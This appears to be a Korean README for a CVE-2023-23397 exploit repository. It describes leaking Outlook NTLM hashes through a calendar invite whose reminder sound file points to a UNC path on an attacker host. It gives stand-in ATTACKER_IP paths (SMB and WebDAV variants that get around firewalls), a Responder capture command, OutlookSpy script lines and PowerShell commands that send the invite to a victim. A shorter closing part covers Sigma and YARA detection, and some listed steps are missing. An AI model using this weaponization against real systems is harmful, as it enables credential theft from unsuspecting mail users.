
CVE-2023-23397 익스플로잇 - 악의적인 캘린더 초대를 통한 Outlook NTLM 해시 유출. PowerShell 무기화, Responder 통합 및 사고 대응을 위한 탐지 규칙을 포함합니다.
이 취약점을 악용하려면 공격자가 악성 일정 초대를 만들어야 하며, 이 초대에는 공격자 시스템의 네트워크 공유에 있는 파일을 가리키는 사운드 파일 참조가 포함되어야 합니다. 낮은 수준에서 Outlook 이메일은 사운드 파일 참조를 "PidLidReminderFileParameter"라는 내부 매개변수에 저장합니다. 악성 이메일에 포함된 오디오가 피해자의 기본 미리 알림 구성보다 우선하도록 하려면 "PidLidReminderOverride"라는 다른 매개변수를 true로 설정해야 합니다.
"PidLidReminderFileParameter" 속성을 네트워크 공유를 가리키도록 설정하기 위해 공격자는 로컬 파일 대신 UNC(Universal Naming Convention) 경로를 지정할 수 있습니다. UNC는 Windows 운영 체제에서 네트워크 리소스(파일, 프린터, 공유 문서)를 찾는 데 사용됩니다. 이러한 경로는 이중 백슬래시, 리소스를 호스팅하는 컴퓨터의 IP 주소 또는 이름, 공유 이름 및 파일 이름으로 구성됩니다. 예: \ATTACKER_IP\foo\bar.wav
피해자가 악성 이메일을 받으면 UNC 경로는 해당 SMB 공유로 연결되어 취약점을 트리거합니다. 이로 인해 시스템이 공격자의 시스템에 대해 NTLM 인증 프로세스를 시작하여 Net-NTLMv2 해시가 유출되고, 공격자는 나중에 이를 크랙하려고 시도할 수 있습니다. 어떤 이유로 SMB 프로토콜을 사용할 수 없는 경우, 비서버 버전의 Windows는 포트 80 또는 443을 가리키는 UNC 경로를 허용하고 HTTP를 사용하여 WebDAV 지원 웹 서버에서 파일을 검색합니다. 이러한 UNC 경로의 구문은 다음과 같습니다.
\ATTACKER_IP@80\foo\bar.wav 또는 \ATTACKER_IP@443\foo\bar.wav
이는 포트 445(SMB)로의 아웃바운드 연결을 차단하는 방화벽 제한을 우회하는 데 유용할 수 있습니다.
공격 단계 필요한 매개변수를 사용하여 트리거할 약속이 포함된 악성 이메일을 만들어 보겠습니다.
Responder 설정: 피해자가 포트 445에서 공격자에 대한 인증 시도를 트리거할 것으로 예상되므로, Responder를 설정하여 인증 프로세스를 처리하고 NetNTLM 해시를 캡처하도록 하겠습니다. Responder에 익숙하지 않다면, SMB 서버를 에뮬레이션하고 이에 대한 모든 인증 시도를 캡처합니다. responder -I
악성 약속 수동 생성 시도:
OutlookSpy: Outlook이 미리 알림의 사운드 파일을 UNC 경로로 설정할 수 없는 경우에도 OutlookSpy 플러그인을 사용하여 이를 달성할 수 있습니다. 이 플러그인을 사용하면 미리 알림의 사운드 파일을 포함한 모든 Outlook 내부 매개변수에 직접 액세스할 수 있습니다. 계속 진행하기 전에 수동으로 설치해야 합니다. 설치 프로그램을 실행하기 전에 Outlook을 닫아야 합니다.
스크립트 탭과 다음 스크립트를 사용하여 매개변수를 필요한 값으로 변경할 수 있습니다. AppointmentItem.ReminderOverrideDefault = true AppointmentItem.ReminderPlaySound = true AppointmentItem.ReminderSoundFile = "\<attacker's IP><share_folder>\file.wav"
변경 사항을 적용하려면 "Run" 버튼을 클릭해야 합니다. "Properties" 탭으로 돌아가서 값이 올바르게 변경되었는지 확인할 수 있습니다. 마지막으로 약속을 저장하여 캘린더에 추가하고 미리 알림이 "0분"으로 설정되어 있고 약속이 현재 시간 및 날짜와 일치하는지 확인합니다. 즉시 트리거되기를 원하기 때문입니다.
모든 것이 예상대로 진행되었다면 즉시 미리 알림이 나타나는 것을 볼 수 있습니다. 그리고 공격자 시스템의 Responder 콘솔에서 인증 시도를 받아야 합니다.
무기화 취약점을 악용하는 데 필요한 단계를 요약하면, 공격자는 다음을 수행해야 합니다.
3단계와 4단계는 Responder가 이미 처리해 주지만, 악성 약속을 수동으로 만드는 것은 다소 지루합니다. 다행히도 악성 약속을 만들고 보내는 데 사용할 수 있는 몇 가지 익스플로잇이 있으며, 그중 하나가 이 리포지토리에 제공됩니다.
이 PowerShell 익스플로잇은 Outlook의 COM 개체를 활용하여 이메일과 약속을 쉽게 만듭니다. 사용할 수 있는 몇 가지 함수가 포함되어 있습니다. Save-CalendarNTLMLeak: 이 함수는 악성 약속을 만들어 자신의 캘린더에 저장합니다. 테스트 목적으로 유용합니다. Send-CalendarNTLMLeak: 이 함수는 악성 약속을 만들어 이메일을 통해 피해자에게 보냅니다. 이메일 초대장은 Outlook의 현재 기본 계정에서 전송됩니다.
익스플로잇 사용: PowerShell 내에서 "Import-Module" cmdlet을 사용하여 익스플로잇의 함수를 가져올 수 있습니다. 그 후 두 함수 모두 현재 PowerShell에서 사용할 수 있습니다. 악성 약속이 포함된 이메일을 보내려면 다음 명령을 실행하면 됩니다.
PS C:\Users\User\Desktop> Import-Module .\CVE-2023-23397.ps1 PS C:\Users\User\Desktop> Send-CalendarNTLMLeak -recipient "[email protected]" -remotefilepath "\ATTACKER_IP\foo\bar.wav" -meetingsubject "Random Meeting" -meetingbody "This is just a regular meeting invitation."
익스플로잇이 현재 Outlook 인스턴스를 사용하여 이메일을 보내기 때문에, 스크립트가 사용자를 대신하여 이메일을 보낼 수 있도록 권한을 요청하는 경고가 여러 번 표시될 수 있습니다. 필요할 때마다 "허용"을 누르십시오. "10분 동안 액세스 허용" 확인란을 선택하면 이 프로세스 속도를 높이는 데 도움이 될 수 있습니다.
탐지 및 완화
탐지: 이제 Outlook에 대한 CVE-2023-23397 공격을 무기화하는 단계를 살펴보았으니, 네트워크 내에서 이 공격을 탐지하는 몇 가지 방법에 대해 이야기해 보겠습니다. 각 공격은 탐지 팀이 위협을 식별하는 데 도움이 될 수 있는 패턴이나 아티팩트를 남깁니다. 이는 모두 네트워크 가시성과 수집되어 중요한 가시성을 제공하는 로그 소스에 따라 다릅니다.
Sigma 규칙: 첨부된 Sigma 규칙은 Outlook이 WebDAV 또는 SMB 공유에 대한 연결을 시작하는 것을 탐지하며, 이는 사후 악용 단계를 나타냅니다. 이 Sigma 규칙은 "svchost.exe"가 "rundll32.exe"를 인수 C:\windows\system32\davclnt.dll,DavSetCookie와 함께 생성하는 것을 탐지하며, 이는 사후 악용/데이터 유출 단계를 나타냅니다. 이러한 SIGMA 규칙은 탐지 및 모니터링 도구로 변환되어 네트워크 내에서 의심스러운 로그 활동을 사냥하는 데 사용할 수 있습니다.
Yara 규칙: YARA 규칙은 디스크의 파일 내에서 패턴을 찾습니다. 첨부된 커뮤니티 YARA 규칙은 위 작업에서 논의된 두 가지 속성을 가진 의심스러운 MSG 파일을 디스크에서 탐지하는 데 사용할 수 있습니다.
Microsoft는 Exchange 메시징 항목(메일, 캘린더, 작업)을 검사하여 CVE-2023-23397 공격과 관련된 IOC가 있는지 확인하는 PowerShell 스크립트 "CVE-2023-23397.ps1"을 출시했습니다. 이 스크립트는 탐지된 항목을 감사하고 정리하는 데 사용할 수 있습니다.
완화: 이 취약점은 야생에서 광범위하게 악용되고 있습니다. Microsoft가 이 공격을 완화하고 방지하기 위해 권장하는 몇 가지 단계는 다음과 같습니다.